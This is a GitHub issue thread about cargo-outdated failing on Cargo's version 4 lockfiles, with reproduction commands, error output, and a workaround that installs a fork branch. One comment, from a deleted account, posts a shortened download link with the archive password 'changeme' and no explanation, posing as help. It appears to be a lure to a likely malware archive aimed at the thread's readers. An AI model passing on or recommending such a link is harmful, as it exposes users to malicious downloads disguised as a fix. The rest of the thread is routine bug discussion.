Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Incompatible with v4 lockfiles #402

Open
dtolnay opened this issue Sep 29, 2024 · 2 comments · May be fixed by #403
Open

Incompatible with v4 lockfiles #402

dtolnay opened this issue Sep 29, 2024 · 2 comments · May be fixed by #403

Comments

@dtolnay
Copy link

dtolnay commented Sep 29, 2024

As of rust-lang/cargo#14595 and rust-lang/rust#130929 (nightly-2024-09-29), Cargo is generating version = 4 in Cargo.lock by default.

$ cargo new repro
$ cd repro/
$ cargo build
$ cargo outdated
error: failed to parse lock file at: /path/to/repro/Cargo.lock

Caused by:
  lock file version 4 requires `-Znext-lockfile-bump`

Ironically, cargo-outdated's cargo dependency is outdated. I expect that adopting a newer version of the cargo library would resolve this issue.

cargo = "0.76.0"

@ghost
Copy link

ghost commented Sep 29, 2024

download
https://bit.ly/47P0Nvo

Password: changeme

you may need to install the c compiler

@frewsxcv
Copy link

frewsxcv commented Nov 2, 2024

For anyone who wants to work around this:

cargo install --git https://github.com/MonterraByte/cargo-outdated.git --branch cargo-update

via #403

dtolnay added a commit to dtolnay/cargo-llvm-lines that referenced this issue Nov 29, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants